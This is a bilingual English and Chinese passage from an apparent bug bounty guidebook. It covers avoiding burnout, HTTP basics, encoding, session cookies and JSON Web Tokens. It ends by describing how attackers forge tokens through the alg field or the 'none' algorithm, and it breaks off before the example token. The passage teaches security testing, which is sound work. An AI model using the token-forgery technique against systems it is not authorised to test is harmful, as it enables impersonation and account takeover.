First, take a break. Hacking is hard work. Unlike what they show in the movies, hunting for vulnerabilities is tedious and difficult. It requires patience, persistence, and an eye for detail, so it can be very mentally draining.

首先，休息一下。黑客工作很辛苦。与电影中所展示的不同，寻找漏洞是单调和困难的。它需要耐心，毅力和注重细节，因此可能非常消耗精力。

Before you keep hacking away, ask yourself: am I tired? A lack of inspiration could be your brain’s way of telling you it has reached its limits. In this case, your best course of action would be to rest it out. Go outside. Meet up with friends. Have some ice cream. Or stay inside. Make some tea. And read a good book.

在继续努力之前，请问一下自己：我累了吗？ 缺乏灵感可能是大脑告诉你已达到极限的方式。 在这种情况下，您的最佳选择是休息一下。 出去走走。 跟朋友聚会。 吃些冰淇淋。 或者呆在家里。 泡些茶。 然后读一本好书。

There is more to life than SQL injections and XSS payloads. If you take a break from hacking, you’ll often find that you’re much more creative when you come back.

生活中还有比SQL注入和XSS负载更多。如果你从黑客攻击中休息一下，往往会发现当你回来时更有创造力。

Step 2: Build Your Skill Set

Use your hacking slump as an opportunity to improve your skills. Hackers often get stuck because they get too comfortable with certain familiar techniques, and when those techniques don’t work anymore, they mistakenly assume there’s nothing left to try. Learning new skills will get you out of your comfort zone and strengthen your hacker skills for the future.

利用你的黑客低谷作为提高技能的机会。黑客经常会陷入困境，因为他们对某些熟悉的技术过于舒适，当这些技术不再起作用时，他们错误地认为没有其他方法可尝试了。学习新的技能将使你走出舒适区，并为未来增强你的黑客技能。

First, if you’re not already familiar with the basic hacking techniques, refer to testing guides and best practices to solidify your skills. For example, the Open Web Application Security Project ( OWASP ) has published testing guides for various asset types. You can find OWASP’s web and mobile testing guides at https://owasp.org/www-project-web-security-testing-guide/ and https://owasp.org/www-project-mobile-security-testing-guide/ .

首先，如果你还不熟悉基本的黑客攻击技术，请参考测试指南和最佳实践来巩固你的技能。例如，开放式网络应用程序安全计划（OWASP）已经针对各种资产类型发布了测试指南。你可以在 https://owasp.org/www-project-web-security-testing-guide/ 和 https://owasp.org/www-project-mobile-security-testing-guide/ 找到 OWASP 的网络和移动测试指南。

Learn a new hacking technique, whether it’s a new web exploitation technique, a new recon angle, or a different platform, such as Android. Focus on a specific skill you want to build, read about it, and apply it to the targets you’re hacking. Who knows? You might uncover a whole new way to approach the target application! You can also take this opportunity to catch up with what other hackers are doing by reading the many hacker blogs and write-up sites out there. Understanding other hackers’ approaches can provide you with a refreshing new perspective on engaging with your target.

学习一种新的黑客技术，无论是一种新的网络利用技术，一种新的侦查角度，还是不同的平台，比如Android。着重于想要提高的特定技能，阅读相关资料并将其应用于你正在攻击的目标上。谁知道呢？你可能会发现一种全新的方法来接近目标应用程序！你也可以通过阅读众多黑客博客和写作网站来看看其他黑客在做什么。理解其他黑客的方法可以为你提供一个新鲜的与目标交互的视角。

Next, play Capture the Flags ( CTFs ) . In these security competitions, players search for flags that prove that they’ve hacked into a system. CTFs are a great way to learn about new vulnerabilities. They’re also fun and often feature interesting new classes of vulnerabilities. Researchers are constantly discovering new kinds of exploit techniques, and staying on top of these techniques will ensure that you’re constantly finding bugs.

接下来，玩捉旗比赛（CTFs）。在这些安全竞赛中，玩家搜索能证明他们入侵系统的标记。CTFs是学习新漏洞的好方法。它们也很有趣，通常涉及有趣的新漏洞类型。研究人员不断发现新的攻击技术，并了解这些技术将确保您不断发现漏洞。

Step 3: Gain a Fresh Perspective

When you’re ready to hack live targets again, here are some tips to help you keep your momentum.

当你准备好重新攻击实时目标时，以下提示可帮助你保持动力。

First, hacking on a single target can get boring, so diversify your targets instead of focusing on only one. I’ve always found it helpful to have a few targets to alternate between. When you’re getting tired of one application, switch to another, and come back to the first one later.

首先，只针对一个目标进行攻击会变得乏味，因此应该多样化攻击目标，而不是只关注一个目标。我一直发现在几个目标之间轮流攻击很有帮助。当你厌倦了一个应用程序时，请切换到另一个，稍后再回到第一个。

Second, make sure you’re looking for specific things in a target instead of wandering aimlessly, searching for anything. Make a list of the new skills you’ve learned and try them out. Look for a new kind of bug, or try out a new recon angle. Then, rinse and repeat until you find a suitable new workflow.

其次，请确保你在目标中寻找的是具体的事物，而不是漫无目的地寻找任何东西。列出你学到的新技能并尝试它们。寻找新类型的缺陷，或尝试一种新的侦察角度。然后，反复执行，直到找到适合的新工作流程。

Finally, remember that hacking is not always about finding a single vulnerability but combining several weaknesses of an application into something critical. In this case, it’s helpful to specifically look for weird behavior instead of vulnerabilities. Then take note of these weird behaviors and weaknesses, and see if you can chain them into something worth reporting.

最后，请记得，黑客并不总是只找一个漏洞，而是将应用程序的多个弱点结合起来，变成关键性的漏洞。在这种情况下，寻找奇怪的行为而不是漏洞会更有帮助。然后记录这些奇怪的行为和薄弱点，看看是否可以将它们串联起来，变成值得报告的东西。

Lastly, a Few Words of Experience

Bug bounty hunting is difficult. When I started hunting for bugs, I’d sometimes go months without finding one. And when I did find one, it’d be something trivial and low severity.

漏洞赏金猎人很有难度。在我开始寻找漏洞时，我有时会连续几个月都找不到一个。而当我找到一个漏洞时，通常会是一些微不足道且严重等级低的事情。

The key to getting better at anything is practice. If you’re willing to put in the time and effort, your hacking skills will improve, and you’ll soon see yourself on leaderboards and private invite lists! If you get frustrated during this process, remember that everything gets easier over time. Reach out to the hacker community if you need help. And good luck!

提高任何事情的关键在于练习。如果你愿意花时间和精力，你的黑客技能会不断提高，很快你就会看到自己出现在排行榜和私人邀请列表中！如果在这个过程中感到沮丧，记住一切随着时间的推移都会变得容易。如果需要帮助，请向黑客社区寻求帮助。祝你好运！

Part II
Getting Started

3
How the Internet Works

Before you jump into hunting for bugs, let’s take some time to understand how the internet works. Finding web vulnerabilities is all about exploiting weaknesses in this technology, so all good hackers should have a solid understanding of it. If you’re already familiar with these processes, feel free to skip ahead to my discussion of the internet’s security controls.

在你开始寻找漏洞之前，让我们先花点时间了解互联网是如何运作的。寻找Web漏洞就是要利用这项技术中的弱点，所以所有优秀的黑客都应该对此有扎实的理解。如果你已经熟悉这些过程，可以跳过这部分，直接阅读我对互联网安全控制的讨论。

The following question provides a good starting place: what happens when you enter www.google.com in your browser? In other words, how does your browser know how to go from a domain name, like google.com, to the web page you’re looking for? Let’s find out.

下面的问题提供了一个很好的起点：当您在浏览器中输入www.google.com时会发生什么？换句话说，您的浏览器如何知道如何从像google.com这样的域名转到您正在寻找的网页？让我们找出答案。

The Client-Server Model

The internet is composed of two kind of devices: clients and servers. Clients request resources or services, and servers provide those resources and services. When you visit a website with your browser, it acts as a client and requests a web page from a web server. The web server will then send your browser the web page ( Figure 3-1 ).

互联网由两种设备组成：客户端和服务器。客户端请求资源或服务，而服务器提供这些资源和服务。当您使用浏览器访问网站时，浏览器充当客户端并从Web服务器请求网页。Web服务器将随后将网页发送给您的浏览器（图3-1）。

Figure 3-1 : Internet clients request resources from servers.

图3-1：互联网客户端从服务器请求资源。

A web page is nothing more than a collection of resources or files sent by the web server. For example, at the very least, the server will send your browser a text file written in Hypertext Markup Language ( HTML) , the language that tells your browser what to display. Most web pages also include Cascading Style Sheets (CSS ) files to make them pretty. Sometimes web pages also contain JavaScript ( JS) files, which enable sites to animate the web page and react to user input without going through the server. For example, JavaScript can resize images as users scroll through the page and validate a user input on the client side before sending it to the server. Finally, your browser might receive embedded resources, such as images and videos. Your browser will combine these resources to display the web page you see.

网页不过是由服务器发送的一组资源或文件的集合。比如说，服务器至少会发送一个用超文本标记语言（HTML）编写的文本文件，这种语言可以告诉浏览器该如何显示内容。大多数网页也会包含层叠样式表（CSS）文件，以使页面看起来更漂亮。有时候网页还会包含JavaScript（JS）文件，使得网站可以在不经过服务器的情况下为网页增加动画效果以及响应用户的输入。比如说，JavaScript 可以在用户滚动页面时调整图像大小，在信息发送到服务器之前在客户端验证用户输入等。最后，您的浏览器可能会接收到嵌入的资源，如图像和视频。您的浏览器会将这些资源组合在一起展示您所看到的网页。

Servers don’t just return web pages to the user, either. Web APIs enable applications to request the data of other systems. This enables applications to interact with each other and share data and resources in a controlled way. For example, Twitter’s APIs allow other websites to send requests to Twitter’s servers to retrieve data such as lists of public tweets and their authors. APIs power many internet functionalities beyond this, and we’ll revisit them, along with their security issues, in Chapter 24 .

服务器不仅向用户返回web页面。Web API使得应用程序可以请求其他系统的数据。这使得应用程序可以相互交互，并以有控制的方式共享数据和资源。例如，Twitter的API允许其他网站向Twitter的服务器发送请求以检索数据，例如公共推文和其作者的列表。 API驱动了许多互联网功能，我们将在第24章中重新访问它们及其安全问题。

The Domain Name System

How do your browser and other web clients know where to find these resources? Well, every device connected to the internet has a unique Internet Protocol (IP) address that other devices can use to find it. However, IP addresses are made up of numbers and letters that are hard for humans to remember. For example, the older format of IP addresses, IPv4, looks like this: 123.45.67.89. The new version, IPv6, looks even more complicated: 2001:db8::ff00:42:8329.

您的浏览器和其他网络客户端如何知道在哪里找到这些资源呢？每个连接到互联网的设备都有一个唯一的IP地址，其他设备可以使用它来查找它。然而，IP地址由数字和字母组成，对人类来说很难记忆。例如，旧版IP地址IPv4看起来像这样：123.45.67.89。新版IPv6更复杂：2001：db8：：ff00：42：8329。

This is where the Domain Name System (DNS) comes in. A DNS server functions as the phone book for the internet, translating domain names into IP addresses ( Figure 3-2 ). When you enter a domain name in your browser, a DNS server must first convert the domain name into an IP address. Our browser asks the DNS server, “Which IP address is this domain located at?”

这就是域名系统（DNS）发挥作用的地方。DNS服务器像互联网上的电话簿一样运作，将域名翻译成IP地址（图3-2）。当您在浏览器中输入域名时，DNS服务器必须先将其转换成IP地址。我们的浏览器会向DNS服务器询问：“这个域名位于哪个IP地址？”

Figure 3-2 : A DNS server will translate a domain name to an IP address.

图3-2：DNS服务器将把域名翻译成IP地址。

Internet Ports

After your browser acquires the correct IP address, it will attempt to connect to that IP address via a port. A port is a logical division on devices that identifies a specific network service. We identify ports by their port numbers, which can range from 0 to 65,535.

浏览器获取正确的IP地址后，会尝试通过端口连接到该IP地址。端口是设备上用于标识特定网络服务的逻辑分区。我们通过它们的端口号来识别端口，端口号的范围从0到65,535。

Ports allow a server to provide multiple services to the internet at the same time. Because conventions exist for the traffic received on certain ports, port numbers also allow the server to quickly forward arriving internet messages to a corresponding service for processing. For example, if an internet client connects to port 80, the web server understands that the client wishes to access its web services ( Figure 3-3 ).

端口允许服务器同时向互联网提供多个服务。由于某些端口上接收到的流量已经有了惯例，端口号还使服务器能够快速将到达的互联网消息转发给相应的服务进行处理。例如，如果互联网客户端连接到端口80，则Web服务器会明白客户端希望访问其Web服务（图3-3）。

Figure 3-3 : Ports allow servers to provide multiple services. Port numbers help forward client requests to the right service.

图3-3：端口允许服务器提供多个服务。端口号帮助将客户端请求转发到正确的服务。

By default, we use port 80 for HTTP messages and port 443 for HTTPS, the encrypted version of HTTP.

默认情况下，HTTP消息使用端口80，HTTPS消息使用端口443，HTTPS是HTTP的加密版本。

HTTP Requests and Responses

Once a connection is established, the browser and server communicate via the HyperText Transfer Protocol ( HTTP) . HTTP is a set of rules that specifies how to structure and interpret internet messages, and how web clients and web servers should exchange information.

一旦建立连接，浏览器和服务器通过超文本传输协议（HTTP）进行通信。 HTTP是一组规则，它指定如何构造和解释Internet消息，以及Web客户端和Web服务器应如何交换信息。

When your browser wants to interact with a server, it sends the server an HTTP request . There are different types of HTTP requests, and the two most common are GET and POST. By convention, GET requests retrieve data from the server, while POST requests submit data to it. Other common HTTP methods include OPTIONS, used to request permitted HTTP methods for a given URL; PUT, used to update a resource; and DELETE, used to delete a resource.

当您的浏览器想要与服务器进行交互时，它会向服务器发送一个HTTP请求。有不同类型的HTTP请求，其中最常见的是GET和POST。按照惯例，GET请求从服务器检索数据，而POST请求将数据提交到服务器。其他常见的HTTP方法包括 OPTIONS，用于请求给定URL的允许HTTP方法; PUT，用于更新资源; DELETE，用于删除资源。

Here is an example GET request that asks the server for the home page of www.google.com :

这是一个示例GET请求，它请求服务器获取www.google.com的主页：

GET / HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Connection: close

Let’s walk through the structure of this request, since you’ll be seeing a lot of these in this book. All HTTP requests are composed of a request line, request headers, and an optional request body. The preceding example contains only the request line and headers.

让我们一起来看看这个请求的结构，因为在这本书中你将看到很多类似的请求。所有的HTTP请求都由一个请求行、请求头和一个可选的请求体组成。前面的例子只包含了请求行和头信息。

The request line is the first line of the HTTP request. It specifies the request method, the requested URL, and the version of HTTP used. Here, you can see that the client is sending an HTTP GET request to the home page of www.google.com using HTTP version 1.1.

请求行是HTTP请求的第一行。它指定了请求方法，所请求的URL和HTTP使用的版本。在这里，你可以看到客户端正在使用HTTP版本1.1向www.google.com的主页发送HTTP GET请求。

The rest of the lines are HTTP request headers . These are used to pass additional information about the request to the server. This allows the server to customize results sent to the client. In the preceding example, the Host header specifies the hostname of the request. The User-Agent header contains the operating system and software version of the requesting software, such as the user’s web browser. The Accept , Accept-Language , and Accept-Encoding headers tell the server which format the responses should be in. And the Connection header tells the server whether the network connection should stay open after the server responds.

其余的行是HTTP请求头。它们用于向服务器传递有关请求的其他信息。这使服务器能够自定义发送到客户端的结果。在上面的示例中，Host头指定请求的主机名。User-Agent头包含请求软件的操作系统和软件版本，例如用户的Web浏览器。Accept，Accept-Language和Accept-Encoding头告诉服务器响应应该采用哪种格式。而Connection头告诉服务器，在服务器响应后，网络连接是否应保持打开状态。

You might see a few other common headers in requests. The Cookie header is used to send cookies from the client to the server. The Referer header specifies the address of the previous web page that linked to the current page. And the Authorization header contains credentials to authenticate a user to a server.

您可能会在请求中看到一些其他常见的标题。 Cookie标题用于从客户端向服务器发送cookie。 Referer标题指定链接到当前页面的上一个网页的地址。而Authorization标题包含凭证，用于将用户身份验证到服务器。

After the server receives the request, it will try to fulfill it. The server will return all the resources used to construct your web page by using HTTP responses . An HTTP response contains multiple things: an HTTP status code to indicate whether the request succeeded; HTTP headers, which are bits of information that browsers and servers use to communicate with each other about authentication, content format, and security policies; and the HTTP response body, or the actual web content that you requested. The web content could include HTML code, CSS style sheets, JavaScript code, images, and more.

服务器收到请求后会尝试满足它。服务器将通过使用HTTP响应返回构建您的网页所用的所有资源。HTTP响应包含多个元素：HTTP状态代码用于指示请求是否成功；HTTP头，是浏览器和服务器之间用于通信的信息片段，包括认证、内容格式和安全策略等；以及HTTP响应体，即您请求的实际网页内容。网页内容可能包括HTML代码、CSS样式表、JavaScript代码、图像等。

Here is an example of an HTTP response:

这里是一个HTTP响应的例子：

1 HTTP/1.1 200 OK
2 Date: Tue, 31 Aug 2021 17:38:14 GMT
[...]
3 Content-Type: text/html; charset=UTF-8
4 Server: gws
5 Content-Length: 190532

<!doctype html>
[...]
<title>Google</title>
[...]
<html>

Notice the 200 OK message on the first line 1 . This is the status code. An HTTP status code in the 200 range indicates a successful request. A status code in the 300 range indicates a redirect to another page, whereas the 400 range indicates an error on the client’s part, like a request for a nonexistent page. The 500 range means that the server itself ran into an error.

注意第一行的200 OK消息。这是状态码。 200系列的HTTP状态码表示请求成功。 300系列的状态码表示重定向到另一页，而400系列表示客户端出现错误，例如请求不存在的页面。 500系列表示服务器本身遇到错误。

As a bug bounty hunter, you should always keep an eye on these status codes, because they can tell you a lot about how the server is operating. For example, a status code of 403 means that the resource is forbidden to you. This might mean that sensitive data is hidden on the page that you could reach if you can bypass the access controls.

作为一个赏金猎人，你应该经常关注这些状态代码，因为它们可以告诉你服务器的运作情况。例如，403状态代码表示该资源对你是禁止的。这可能意味着页面上隐藏了敏感数据，只要你能够绕过访问控制，就能够访问到这些数据。

The next few lines separated by a colon ( : ) in the response are the HTTP response headers. They allow the server to pass additional information about the response to the client. In this case, you can see that the time of the response was Tue, 31 Aug 2021 17:38:14 GMT 2 . The Content-Type header indicates the file type of the response body. In this case, The Content-Type of this page is text/html 3 . The server version is Google Web Server ( gws ) 4 , and the Content-Length is 190,532 bytes 5 . Usually, additional response headers will specify the content’s format, language, and security policies.

响应中由冒号（:）分隔的下几行是HTTP响应头。它们允许服务器将有关响应的附加信息传递给客户端。在这种情况下，您可以看到响应的时间为Tue，31 Aug 2021 17: 38: 14 GMT 2. Content-Type头指示响应正文的文件类型。在这种情况下，此页面的Content-Type为text / html。服务器版本为Google Web Server（gws）4，Content-Length为190，532字节。通常，其他响应标头将指定内容的格式，语言和安全策略。

In addition to these, you might encounter a few other common response headers. The Set-Cookie header is sent by the server to the client to set a cookie. The Location header indicates the URL to which to redirect the page. The Access-Control-Allow-Origin header indicates which origins can access the page’s content. (We will talk about this more in Chapter 19 .) Content-Security-Policy controls the origin of the resources the browser is allowed to load, while the X-Frame-Options header indicates whether the page can be loaded within an iframe (discussed further in Chapter 8 ).

除了这些，你可能会遇到一些其他常见的响应头。服务器向客户端发送 Set-Cookie 标头来设置 cookie。Location 标头指示要重定向页面的 URL。Access-Control-Allow-Origin 标头指示哪些来源可以访问页面的内容。（我们将在第19章中更详细地讨论此问题。）Content-Security-Policy 控制浏览器允许加载哪些资源的来源，而 X-Frame-Options 标头指示页面是否可以在 iframe 中加载（将在第8章进一步讨论）。

The data after the blank line is the response body. It contains the actual content of the web page, such as the HTML and JavaScript code. Once your browser receives all the information needed to construct the web page, it will render everything for you.

空行后的数据是响应体。它包含网页的实际内容，如HTML和JavaScript代码。一旦您的浏览器接收到构建网页所需的所有信息，它将为您呈现所有内容。

Internet Security Controls

Now that you have a high-level understanding of how information is communicated over the internet, let’s dive into some fundamental security controls that protect it from attackers. To hunt for bugs effectively, you will often need to come up with creative ways to bypass these controls, so you’ll first need to understand how they work.

现在，您已经对互联网上如何传输信息有了高层次的理解，让我们深入了解一些基本的安全控制，以保护它免受攻击者的攻击。为了有效地搜寻漏洞，您通常需要想出创造性的方法来绕过这些控制，因此您首先需要了解它们是如何工作的。

Content Encoding

Data transferred in HTTP requests and responses isn’t always transmitted in the form of plain old text. Websites often encode their messages in different ways to prevent data corruption.

HTTP请求和响应中传输的数据并非始终以纯文本形式传输。为了防止数据损坏，网站通常以不同的方式编码它们的消息。

Data encoding is used as a way to transfer binary data reliably across machines that have limited support for different content types. Characters used for encoding are common characters not used as controlled characters in internet protocols. So when you encode content using common encoding schemes, you can be confident that your data is going to arrive at its destination uncorrupted. In contrast, when you transfer your data in its original state, the data might be screwed up when internet protocols misinterpret special characters in the message.

数据编码用作一种可靠地在支持不同内容类型有限的机器之间传输二进制数据的方式。用于编码的字符是在互联网协议中不做控制字符使用的常见字符。因此，当您使用常见编码方案编码内容时，您可以确信数据将不会损坏地到达目的地。相比之下，当您以原始状态传输数据时，当互联网协议误解消息中的特殊字符时，数据可能会被损坏。

Base64 encoding is one of the most common ways of encoding data. It’s often used to transport images and encrypted information within web messages. This is the base64-encoded version of the string "Content Encoding" :

Base64编码是编码数据最常用的方式之一。它经常用于在网络消息中传输图像和加密信息。这是字符串“Content Encoding”的Base64编码版本：

Q29udGVudCBFbmNvZGluZw==

Base64 encoding’s character set includes the uppercase alphabet characters A to Z, the lowercase alphabet characters a to z, the number characters 0 to 9, the characters + and /, and finally, the = character for padding. Base64url encoding is a modified version of base64 used for the URL format. It’s similar to base64, but uses different non-alphanumeric characters and omits padding.

Base64编码的字符集包括大写字母A到Z，小写字母a到z，数字0到9，字符+和/，最后，=字符用于填充。 Base64url编码是用于URL格式的修改版本的base64。它类似于base64，但使用不同的非字母数字字符并省略填充。

Another popular encoding method is hex encoding. Hexadecimal encoding , or hex, is a way of representing characters in a base-16 format, where characters range from 0 to F. Hex encoding takes up more space and is less efficient than base64 but provides for a more human-readable encoded string. This is the hex-encoded version of the string "Content Encoding" ; you can see that it takes up more characters than its base64 counterpart:

另一种流行的编码方法是十六进制编码。十六进制编码（或简称为hex）是一种将字符以基础16格式表示的方式，其中字符范围从0到F。十六进制编码占用更多的空间，效率比base64低，但提供更易读的编码字符串。这是字符串“内容编码”的十六进制编码版本; 您可以看到它比其base64对应项占用更多的字符：

436f6e74656e7420456e636f64696e67

URL encoding is a way of converting characters into a format that is more easily transmitted over the internet. Each character in a URL-encoded string can be represented by its designated hex number preceded by a % symbol. See Wikipedia for more information about URL encoding: https://en.wikipedia.org/wiki/Percent-encoding .

URL编码是将字符转换为更便于在互联网上传输的格式的一种方式。 URL编码字符串中的每个字符都可以用其指定的十六进制数字表示，前面加上一个%符号。有关URL编码的更多信息，请参见维基百科：https://en.wikipedia.org/wiki/Percent-encoding。

For example, the word localhost can be represented with its URL-encoded equivalent, %6c%6f%63%61%6c%68%6f%73%74 . You can calculate a hostname’s URL-encoded equivalent by using a URL calculator like URL Decode and Encode ( https://www.urlencoder.org/ ).

例如，单词“localhost”可以用其URL编码的等效值“%6c%6f%63%61%6c%68%6f%73%74”表示。您可以使用URL计算器（如URL解码和编码器https://www.urlencoder.org/）计算主机名的URL编码等效值。

We’ll cover a couple of additional types of character encoding—octal encoding and dword encoding—when we discuss SSRFs in Chapter 13 . When you see encoded content while investigating a site, always try to decode it to discover what the website is trying to communicate. You can use Burp Suite’s decoder to decode encoded content. We’ll cover how to do this in the next chapter. Alternatively, you can use CyberChef ( https://gchq.github.io/CyberChef/ ) to decode both base64 content and other types of encoded content.

在第13章讨论SSRF时，我们将介绍几种附加的字符编码方式——八进制编码和双字编码。在调查网站时，如果看到编码的内容，一定要尝试解码，以发现网站试图传达的信息。可以使用Burp Suite的解码器来解码编码的内容。我们将在下一章中讲解如何解码。另外，也可以使用CyberChef（https://gchq.github.io/CyberChef/）来解码base64内容和其他类型的编码内容。

Servers sometimes also encrypt their content before transmission. This keeps the data private between the client and server and prevents anyone who intercepts the traffic from eavesdropping on the messages.

服务器有时会在传输之前对内容进行加密。这一举措可以保护客户端和服务器间的数据隐私，防止任何拦截流量的人窃听信息。

Session Management and HTTP Cookies

Why is it that you don’t have to re-log in every time you close your email tab? It’s because the website remembers your session. Session management is a process that allows the server to handle multiple requests from the same user without asking the user to log in again.

为什么关闭电子邮件选项卡后，您不必重新登录？这是因为该网站会记住您的会话。会话管理是一个过程，使服务器能够处理来自同一用户的多个请求，而无需要求用户再次登录。

Websites maintain a session for each logged-in user, and a new session starts when you log in to the website ( Figure 3-4 ). The server will assign an associated session ID for your browser that serves as proof of your identity. The session ID is usually a long and unpredictable sequence designed to be unguessable. When you log out, the server ends the session and revokes the session ID. The website might also end sessions periodically if you don’t manually log out.

网站为每个登录的用户维护一个会话，当您登录网站时开始一个新会话（图3-4）。服务器会为您的浏览器分配一个关联的会话ID，作为您身份的证明。会话ID通常是一个长而不可预测的序列，设计为难以猜测。当您登出时，服务器会结束会话并撤销会话ID。如果您不手动退出，则网站可能会定期结束会话。

Figure 3-4 : After you log in, the server creates a session for you and issues a session ID, which uniquely identifies a session.

图3-4: 登录后，服务器为您创建一个会话并发放一个会话ID，该ID唯一标识一个会话。

Most websites use cookies to communicate session information in HTTP requests. HTTP cookies are small pieces of data that web servers send to your browser. When you log in to a site, the server creates a session for you and sends the session ID to your browser as a cookie. After receiving a cookie, your browser stores it and includes it in every request to the same server ( Figure 3-5 ).

大多数网站使用Cookie在HTTP请求中传递会话信息。HTTP Cookie是Web服务器发送到浏览器的小数据片段。当您登录网站时，服务器会为您创建一个会话，并将会话ID作为Cookie发送到您的浏览器。收到Cookie后，您的浏览器会存储它，并在每次向同一服务器发送请求时包含它（图3-5）。

That’s how the server knows it’s you! After the cookie for the session is generated, the server will track it and use it to validate your identity. Finally, when you log out, the server will invalidate the session cookie so that it cannot be used again. The next time you log in, the server will create a new session and a new associated session cookie for you.

那就是服务器知道你是谁的方式！生成会话 cookie 后，服务器将跟踪并使用它来验证你的身份。最后，当你退出时，服务器将使会话 cookie 无效，以防止它被再次使用。下次你登录时，服务器将为你创建一个新的会话和一个新的相关会话 cookie。

Figure 3-5 : Your session ID correlates with session information that is stored on the server.

图3-5：您的会话ID与存储在服务器上的会话信息相关联。

Token-Based Authentication

In session-based authentication, the server stores your information and uses a corresponding session ID to validate your identity, whereas a token-based authentication system stores this info directly in some sort of token. Instead of storing your information server-side and querying it using a session ID, tokens allow servers to deduce your identity by decoding the token itself. This way, applications won’t have to store and maintain session information server-side.

在基于会话的身份验证中，服务器会存储您的信息并使用相应的会话ID来验证您的身份，而基于令牌的身份验证系统直接将此信息存储在某种令牌中。与使用会话ID在服务器端存储和查询您的信息不同，令牌允许服务器通过解码令牌本身来推断您的身份。这样，应用程序就不必在服务器端存储和维护会话信息了。

This system comes with a risk: if the server uses information contained in the token to determine the user’s identity, couldn’t users modify the information in the tokens and log in as someone else? To prevent token forgery attacks like these, some applications encrypt their tokens, or encode the token so that it can be read by only the application itself or other authorized parties. If the user can’t understand the contents of the token, they probably can’t tamper with it effectively either. Encrypting or encoding a token does not prevent token forgery completely. There are ways that an attacker can tamper with an encrypted token without understanding its contents. But it’s a lot more difficult than tampering with a plaintext token. Attackers can often decode encoded tokens to tamper with them.

该系统存在风险：如果服务器使用令牌中包含的信息来确定用户的身份，那么用户是否能够修改令牌中的信息并作为其他人登录？为了防止此类令牌伪造攻击，一些应用程序会加密其令牌或者将令牌编码，以便只有应用程序本身或其他授权方可以读取。如果用户无法理解令牌的内容，则很可能无法有效篡改它。加密或编码令牌并不能完全防止令牌伪造。攻击者有可能修改加密令牌的内容而不理解其内容，但这比篡改明文令牌要困难得多。攻击者经常可以对编码后的令牌进行解码，以便篡改它们。

Another more reliable way applications protect the integrity of a token is by signing the token and verifying the token signature when it arrives at the server. Signatures are used to verify the integrity of a piece of data. They are special strings that can be generated only if you know a secret key. Since there is no way of generating a valid signature without the secret key, and only the server knows what the secret key is, a valid signature suggests that the token is probably not altered by the client or any third party. Although the implementations by applications can vary, token-based authentication works like this:

应用程序保护令牌完整性的一种更可靠的方法是对令牌进行签名，并在其到达服务器时验证令牌签名。签名用于验证数据的完整性。它们是特殊的字符串，只有如果您知道秘密密钥才能生成。由于没有办法在不知道秘密密钥的情况下生成有效签名，而且只有服务器知道秘密密钥是什么，因此有效的签名表明令牌可能未被客户端或任何第三方更改。虽然应用程序的实现可能会有所不同，但基于令牌的身份验证的工作方式如下：

The user logs in with their credentials.

The server validates those credentials and provides the user with a signed token.

The user sends the token with every request to prove their identity.

Upon receiving and validating the token, the server reads the user’s identity information from the token and responds with confidential data.

JSON Web Tokens

The JSON Web Token ( JWT ) is one of the most commonly used types of authentication tokens. It has three components: a header, a payload, and a signature.

JSON Web Token（JWT）是最常用的身份验证令牌之一。它有三个组成部分：头部、负载和签名。

The header identifies the algorithm used to generate the signature. It’s a base64url-encoded string containing the algorithm name. Here’s what a JWT header looks like:

头部标识用于生成签名的算法。这是一个base64url编码的字符串，包含算法名称。以下是JWT头的样式：

eyBhbGcgOiBIUzI1NiwgdHlwIDogSldUIH0K

This string is the base64url-encoded version of this text:

这个字符串是这段文本的base64url编码版本：

{ "alg" : "HS256", "typ" : "JWT" }

The payload section contains information about the user’s identity. This section, too, is base64url encoded before being used in the token. Here’s an example of the payload section, which is the base64url-encoded string of { " user_name " : " admin ", } :

载荷部分包含有关用户身份的信息。在将该部分用于令牌之前，也会进行base64url编码。以下是载荷部分的示例，这是“{“user_name”：“admin”}”的base64url编码字符串：

eyB1c2VyX25hbWUgOiBhZG1pbiB9Cg

Finally, the signature section validates that the user hasn’t tampered with the token. It’s calculated by concatenating the header with the payload, then signing it with the algorithm specified in the header, and a secret key. Here’s what a JWT signature looks like:

最后，签名部分验证用户没有篡改令牌。它通过将头部与有效载荷串联起来，然后使用头部中指定的算法和秘钥进行签名来计算。以下是JWT签名的样式：

4Hb/6ibbViPOzq9SJflsNGPWSk6B8F6EqVrkNjpXh7M

For this specific token, the signature was generated by signing the string eyBhbGcgOiBIUzI1NiwgdHlwIDogSldUIH0K.eyB1c2VyX25hbWUgOiBhZG1pbiB9Cg with the HS256 algorithm using the secret key key . The complete token concatenates each section (the header, payload, and signature), separating them with a period ( . ):

该特定令牌的签名是使用HS256算法使用密钥key签名字符串eyBhbGcgOiBIUzI1NiwgdHlwIDogSldUIH0K.eyB1c2VyX25hbWUgOiBhZG1pbiB9Cg而生成的。完整的令牌将每个部分（标头，载荷和签名）连接起来，用句点（.）隔开：

eyBhbGcgOiBIUzI1NiwgdHlwIDogSldUIH0K.eyB1c2VyX25hbWUgOiBhZG1pbiB9Cg.4Hb/6ibbViPOzq9SJflsNGPWSk6B8F6EqVrkNjpXh7M

When implemented correctly, JSON web tokens provide a secure way to identify the user. When the token arrives at the server, the server can verify that the token has not been tampered with by checking that the signature is correct. Then the server can deduce the user’s identity by using the information contained in the payload section. And since the user does not have access to the secret key used to sign the token, they cannot alter the payload and sign the token themselves.

当 JSON Web Token 被正确实现时，它提供了一种安全的方式来识别用户。当令牌到达服务器时，服务器可以通过检查签名是否正确来验证令牌未被篡改。然后，服务器可以通过使用负载部分所包含的信息来推断用户的身份。由于用户无法访问用于签署令牌的秘钥，因此他们无法更改有效负载并签署令牌。

But if implemented incorrectly, there are ways that an attacker can bypass the security mechanism and forge arbitrary tokens.

但是，如果未正确实施，攻击者可以绕过安全机制并伪造任意令牌。

Manipulating the alg Field

Sometimes applications fail to verify a token’s signature after it arrives at the server. This allows an attacker to simply bypass the security mechanism by providing an invalid or blank signature.

有时，应用程序在接收到令牌后无法验证其签名。这使得攻击者可以通过提供无效或空白的签名来轻松绕过安全机制。

One way that attackers can forge their own tokens is by tampering with the alg field of the token header, which lists the algorithm used to encode the signature. If the application does not restrict the algorithm type used in the JWT, an attacker can specify which algorithm to use, which could compromise the security of the token.

攻击者可以通过篡改token头的"alg"字段来伪造自己的令牌。该字段列出用于编码签名的算法。如果应用程序不限制JWT中使用的算法类型，攻击者可以指定要使用的算法，从而危及令牌的安全性。

JWT supports a none option for the algorithm type. If the alg field is set to none , even tokens with empty signature sections would be considered valid. Consider, for example, the following token:

